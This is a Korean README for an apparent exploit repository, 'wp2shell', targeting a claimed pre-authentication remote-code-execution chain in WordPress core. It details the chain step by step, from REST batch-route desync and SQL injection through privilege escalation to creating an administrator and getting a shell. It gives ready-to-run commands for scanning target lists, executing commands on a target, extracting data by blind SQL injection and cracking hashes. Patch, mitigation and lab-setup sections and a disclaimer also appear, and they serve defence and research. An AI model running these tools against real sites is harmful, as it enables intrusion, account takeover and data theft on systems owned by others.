
wp2shell — WordPress Core 사전 인증 RCE (CVE-2026-63030 + CVE-2026-60137). 익스플로잇 툴킷 + 복구.
CVE-2026-63030 (배치 라우트 혼동, CVSS 7.5) + CVE-2026-60137 (SQL 인젝션, CVSS 9.1)
플러그인이나 특별한 구성이 필요 없으며 기본 설치에서도 동작하는 WordPress 코어의 사전 인증 원격 코드 실행 체인입니다.
| 버전 범위 | 영향 | 수정 버전 |
|---|---|---|
| WordPress 7.0.0 – 7.0.1 | 전체 RCE | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | 전체 RCE | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | SQL 인젝션만 | 6.8.6 |
전제 조건: 영구 객체 캐시(Redis/Memcached)를 사용하지 않아야 합니다. 대부분의 WordPress 설치에서 기본 구성입니다.
이 익스플로잇은 두 가지 취약점을 연쇄적으로 사용합니다:
REST API 배치 라우트 혼동 — 배치 하위 요청의 잘못된 경로로 인해 wp_parse_url()이 false를 반환하며, $matches[]와 $requests[] 배열의 동기화를 깨뜨리는 WP_Error가 생성됩니다. 이후 요청이 잘못된 핸들러로 전달되어 인증을 우회합니다.
WP_Query의 SQL 인젝션 — author__not_in이 배열이 아닌 문자열로 전달되면 absint() 정화 절차를 건너뛰고 원본 값이 SQL WHERE 절에 직접 삽입됩니다.
WordPress의 oEmbed 캐싱 시스템(쓰기 프리미티브), Customizer 변경집합 자동 게시(권한 상승), REST API 재진입(권한 있는 디스패치)과 결합하여 인증 없는 코드 실행을 달성합니다.
wp2shell/
├── README.md ← This file
│
├── wp2shell-exploit/ ← Exploitation tools
│ ├── exploit.py # Full pre-auth RCE (no password cracking)
│ ├── exploit_hash.py # Hash extraction + authenticated RCE
│ ├── detect.py # Non-destructive vulnerability scanner
│ └── README.md
│
├── wp2shell-patch/ ← Remediation
│ ├── patch.sh # Source code patch (mirrors official fix)
│ ├── wp2shell-shield.php # Drop-in mu-plugin (30-second deploy)
│ ├── block-batch.conf # Nginx mitigation
│ ├── block-batch.htaccess # Apache mitigation
│ └── README.md
│
├── docker-compose.yml # Vulnerable test environment (WP 7.0.1)
└── Dockerfile.debug # XDebug-enabled image for research
WordPress 소스는 포함되어 있지 않습니다. https://wordpress.org/download/releases/ 에서 다운로드하세요 (취약 버전은 7.0.1, 패치된 버전은 7.0.2).
cd wp2shell-exploit
# Single target
python3 detect.py https://target.example
# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli
# Batch scan from file
python3 detect.py targets.txt -q
# Full pre-auth RCE (recommended — no password cracking needed)
python3 exploit.py https://target.example -c "id"
# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess
# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress
# Best option: just update WordPress
wp core update # or Dashboard → Updates
┌─────────────────────────────┐
│ Anonymous HTTP Request │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (outer) │
│ Malformed path → WP_Error │
│ $matches[] array shifts │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Steal /batch/v1 handler │
│ (no permission_callback!) │
│ → nested batch executes │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (inner) │
│ GET methods now allowed │
│ author_exclude unsanitized │
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ Phase 1: oEmbed │ │ Phase 2: │ │ Phase 3: Escalation │
│ UNION SELECT fake │ │ Blind SQLi │ │ Cache poison + │
│ post with [embed] │ │ extract IDs │ │ Changeset publish │
│ → WP creates cache │ │ + admin ID │ │ → wp_set_current_ │
│ posts (write prim.) │ │ │ │ user(admin) │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ Re-entrancy │
│ parse_request triggers │
│ serve_request() re-entry │
│ → now running as admin! │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ Creates new administrator │
│ → Login → Plugin → Shell │
└─────────────────────────────┘
WordPress 6.9.5 / 7.0.2는 체인의 각 연결 고리를 끊는 세 가지 수정 사항을 적용합니다:
WordPress 7.0.2는 추가로 협업 기능을 제거합니다 (심층 방어).
# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# Clean up
docker compose down
이 저장소는 승인된 보안 연구, 침투 테스트 및 교육 목적으로만 제공됩니다. 소유한 시스템 또는 테스트에 대한 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.
| 수정 | 파일 | 효과 |
|---|
| 배열 정렬 | class-wp-rest-server.php | $matches[] = $single_request를 WP_Error 항목에 적용 — 비동기화 방지 |
| 재진입 가드 | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — 중첩 serve_request 방지 |
| SQL 정화 | class-wp-query.php | wp_parse_id_list() 항상 적용 — 인젝션 방지 |